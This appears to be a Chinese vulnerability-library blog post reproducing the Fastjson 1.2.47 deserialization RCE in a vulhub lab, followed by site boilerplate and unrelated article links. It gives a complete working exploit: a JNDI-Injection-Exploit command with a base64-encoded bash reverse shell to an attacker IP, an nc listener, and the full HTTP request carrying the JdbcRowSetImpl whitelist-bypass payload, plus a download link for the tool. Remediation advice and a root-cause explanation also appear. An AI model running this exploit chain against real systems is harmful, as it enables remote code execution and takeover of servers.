【漏洞库】Fastjson_1.2.47_rce

文章目录

    • 漏洞描述
    • 漏洞编号
    • 漏洞评级
    • 影响版本
    • 漏洞复现
      • - 利用工具
      • - 漏洞环境
      • - 漏洞扫描
      • - 漏洞验证
      • - 深度利用
      • - GetShell
      • - EXP 编写
    • 漏洞挖掘
      • - 寻找入口点
      • - 指纹信息
    • 修复建议
      • - 漏洞修复
    • 漏洞原理

漏洞描述

Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。

漏洞编号

CNVD-2019-22238

漏洞评级

严重

影响版本

< Fastjson 1.2.47 及之前的版本

漏洞复现

- 利用工具

链接：https://pan.baidu.com/s/1KEl1Z9Z3hWXKtENLxSE1wg?pwd=yuan

- 漏洞环境

vulhub的靶场环境：vulhub/fastjson/1.2.47-rce](https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce)

运行测试环境：

docker compose up -d

环境运行后，访问http://your-ip:8090即可看到JSON格式的输出：

image-20230908172805694

- 漏洞扫描

手工主动测试，利用非法json格式来尝试获取回显：

如图我们可以看到，服务端返回报错内容中包含fastjson。

- 漏洞验证

借助DNSLog，让目标服务器访问，查看回显

image-20230908172442160

发现有回显，说明存在漏洞

image-20230908172408509

- 深度利用

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具开启JNDI服务：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "10.9.75.101"

以下命令的解释：

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

这是一个在bash shell中执行的命令，它涉及到了bash、echo、base64和管道操作符。首先，{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}部分将字符串YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=作为参数传给echo命令，然后输出。接着，输出被传递给base64 -d进行解码，最后解码的结果再传递给bash -i进行执行。其中，{bash,-i}部分表示使用交互模式运行bash

其中的base64编码是通过这个网站进行编码的：https://ares-x.com/tools/runtime-exec/

编码过程如图：

image-20230908173611333

执行开启服务的命令之后，如图所示，表示已经开启了不同java版本的rmi服务与ldap服务：

image-20230908173808090

- GetShell

kali开启监听：

nc -lvvp 7777

发送请求包:

POST / HTTP/1.1
Host: 10.9.75.101:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 261{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://10.9.75.101:1389/zbcmsg","autoCommit":true}
}

image-20230908174059606

发送之后，可以看到kali已经获得反弹Shell

image-20230908174134695

- EXP 编写

这里直接使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar的 -C 参数指定EXP(这里的EXP使用反弹shell)，不过这个EXP需要通过base64编码：

bash -i >& /dev/tcp/10.9.75.101/7777 0>&1

通过网站在线编码：

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

其中的base64编码是通过这个网站进行编码的：https://ares-x.com/tools/runtime-exec/

编码过程如图：

image-20230908173611333

将以上编码结果交给 -C参数，再使用 -A参数指定JNDI服务所处的服务器IP地址，执行jar包之后就会生成EXP并且将EXP放置JNDI服务中。

漏洞挖掘

- 寻找入口点

  1. 找到发送JSON序列化数据的接口

  2. 判断是否使用fastjson，利用非法json格式来尝试获取回显：

    如图我们可以看到，服务端返回报错内容中包含fastjson。

  3. 通过BP插件检测该fastjson版本是否存在漏洞

    https://github.com/zilong3033/fastjsonScan

    下载插件导入BP

    抓包发送到插件进行检测：

    在这里插入图片描述

如下检测结果：存在漏洞

image-20230908182543255

- 指纹信息

通过异常json输入之后的响应回显，判断是否使用fastjson

修复建议

- 漏洞修复

  1. 升级Fastjson到最新版

  2. 使用安全产品过滤非法内容

    比如请求包中如果出现了JdbcRowSetImpl，就可以把他拦住。

  3. 更换其它序列化工具 Jackson/Gson

漏洞原理

不同版本的fastjson其实就是对一些输入的数据进行了校验等操作，绕过校验之后底层的利用链还是一样的。以下是fastjson反序列化漏洞的本质：

  1. 由于将JSON数据进行反序列化的时候会自动调用方法中的 get/set/is方法。

  2. 所以如果有方法在自动调用get/set/is方法的时候能访问远程资源，那么就可以借助这个方法完成利用。

  3. 很巧的是，JDK8中恰好有个JdbcRowSetlmpl类，里面就有 set方法 setAutoCommit，这个方法里面调用了connect方法，connect方法里面又具有JNDI的lookup方法，lookup方法里面传的恰好又是get方法，所以我们可以编写一个payload，利用@type指定要序列化的类，然后指定一些要反序列化的属性，即可完成利用链，接下来就看利用链中的源码：

  4. 利用JdbcRowSetlmpl类中的方法setAutoCommit()：

    image-20230716150420480

  5. 进入connect方法：

    image-20230716150603925

    我们可以看到connect方法中具有JNDI的lookup方法，lookup是JNDI用于查找资源的方法，里面传的参数是dataSourceName，所以我们可以在payload的json字符串中传入这个参数dataSourceName，并且指定他的 值为我们的RMI服务或者其他服务，lookup就会到我们指定的服务中下载恶意代码并执行。

    为什么下载我们的EXP后会自动执行呢？

    因为我们的exp具有静态代码块或者构造方法，当程序创建实例的时候，就会自动触发构造方法或者静态代码块的内容。

    如下图中的NamingManager类，其中利用反射创建实例，然后就直接触发恶意代码中的静态代码块内容，从而让我们利用。

    image-20230715133800679

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/102747.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

2023国赛C题解题思路代码及图表：蔬菜类商品的自动定价与补货决策

2023国赛C题解题思路代码及图表：蔬菜类商品的自动定价与补货决策

2023国赛C题&#xff1a;蔬菜类商品的自动定价与补货决策 C题表面上看上去似乎很简单&#xff0c;实际上23题非常的难&#xff0c;编程难度非常的大&#xff0c;第二题它是一个典型的动态规划加仿真题目&#xff0c;我们首先要计算出销量与销售价格&#xff0c;批发价格之间的…
阅读更多...
Jenkins发送邮件(简洁版)

Jenkins发送邮件(简洁版)

需求背景 Jenkins构建结束需要通知客户下载项目WAR包&#xff0c;太麻烦且构建时间久的话可能忘记通知客户&#xff0c;想要构建结束自动邮件通知客户。 实现方法 # 安装mailx command -v mailx &> /dev/null || sudo yum -y install mailx# 发送邮件 recipient"ch…
阅读更多...
ArcGIS Enterprise + ArcGIS Pro 常用服务类型发布

ArcGIS Enterprise + ArcGIS Pro 常用服务类型发布

发布前设置 门户连接 首先Pro需要先连接portal 添加portal门户地址&#xff0c;注意只到WA一级地址&#xff0c;并登录&#xff1a; 登录完成后&#xff0c;右键&#xff0c;设置为活动门户&#xff1a; 1. 发布动态地图服务 关联数据文件夹&#xff1a; 拖拽数据到地图…
阅读更多...
尖端AR技术如何在美国革新外科手术实践？

尖端AR技术如何在美国革新外科手术实践？

AR智能眼镜已成为一种革新性的工具&#xff0c;在外科领域具有无穷的优势和无限的机遇。Vuzix与众多医疗创新企业建立了长期合作关系&#xff0c;如Pixee Medical、Medacta、Ohana One、Rods & Cones、Proximie等。这些公司一致认为Vuzix智能眼镜可有效提升手术实践&#x…
阅读更多...
End-to-End Object Detection with Transformers(论文解析)

End-to-End Object Detection with Transformers(论文解析)

End-to-End Object Detection with Transformers 摘要介绍相关工作2.1 集合预测2.2 transformer和并行解码2.3 目标检测 3 DETR模型3.1 目标检测集设置预测损失3.2 DETR架构 摘要 我们提出了一种将目标检测视为直接集合预测问题的新方法。我们的方法简化了检测流程&#xff0c…
阅读更多...
ui网页设计实训心得

ui网页设计实训心得

ui网页设计实训心得篇一 通过这次实训对这门课程的学习&#xff0c;做好网页&#xff0c;并不是一件容易的事&#xff0c;它包括网页的选题、 内容采集整理、 图片的处理、 页面的排版设置、 背景及其整套网页的色调等很多东西。 所以我得出一下总结&#xff1a; 一、 准备资…
阅读更多...
【leetcode 力扣刷题】回文串相关题目（KMP、动态规划）

【leetcode 力扣刷题】回文串相关题目（KMP、动态规划）

回文串相关题目 5. 最长回文子串动态规划中心扩展算法 214. 最短回文串336. 回文对 5. 最长回文子串 题目链接&#xff1a;5. 最长回文子串 题目内容&#xff1a; 题目就是要我们找s中的回文子串&#xff0c;还要是最长的。其实想想&#xff0c;暴力求解也行……就是遍历所有的…
阅读更多...
《人生苦短，我学Python》——列表（List）

《人生苦短，我学Python》——列表（List）

昨天&#xff0c;我们学习了一种数据结构——元组。今天我们将学习另一种数据结构——列表。 列表又叫List&#xff0c;与元组的结构类似&#xff0c;也可以用于存储多个类型的数据。接下来&#xff0c;我们一起学习列表的用法–> 文章目录 一、要点先知&#xff1a;二、基…
阅读更多...
基于 Flink CDC 构建 MySQL 和 Postgres 的 Streaming ETL

基于 Flink CDC 构建 MySQL 和 Postgres 的 Streaming ETL

官方网址&#xff1a;https://ververica.github.io/flink-cdc-connectors/release-2.3/content/%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B/mysql-postgres-tutorial-zh.html官方教程有些坑&#xff0c;经过自己实测&#xff0c;记录个笔记。 服务器环境&#xff1a; VM虚拟机&am…
阅读更多...
护航数字政府建设，美创科技成为“数字政府建设赋能计划”成员单位

护航数字政府建设，美创科技成为“数字政府建设赋能计划”成员单位

近日&#xff0c;“2023软博会-软件驱动数字政府创新发展论坛”顺利召开&#xff0c;本次论坛由中国信息通信研究院、中国通信标准化协会承办&#xff0c;中国通信标准化协会云计算标准和开源推进委员会、数字政府建设赋能计划支持。 天津市工业和信息化局总经济师杨冬梅、中国…
阅读更多...
Paimon+StarRocks 湖仓一体数据分析方案

Paimon+StarRocks 湖仓一体数据分析方案

本文整理自阿里云高级开发工程师曾庆栋&#xff08;曦乐&#xff09;在 Streaming Lakehouse Meetup 分享的内容&#xff0c;深入探讨了传统数据仓库分析、PaimonStarRocks湖仓一体数据分析、StarRocks 与 Paimon 的协同使用方法与实现原理&#xff0c;以及StarRocks 社区湖仓分…
阅读更多...
无涯教程-JavaScript - DELTA函数

无涯教程-JavaScript - DELTA函数

描述 DELTA函数测试两个值是否相等。如果number1 number2,则返回1&#xff1b;否则返回1。否则返回0。 您可以使用此功能来过滤一组值。如,通过合计几个DELTA函数,您可以计算相等对的计数。此功能也称为Kronecker Delta功能。 语法 DELTA (number1, [number2])争论 Argum…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023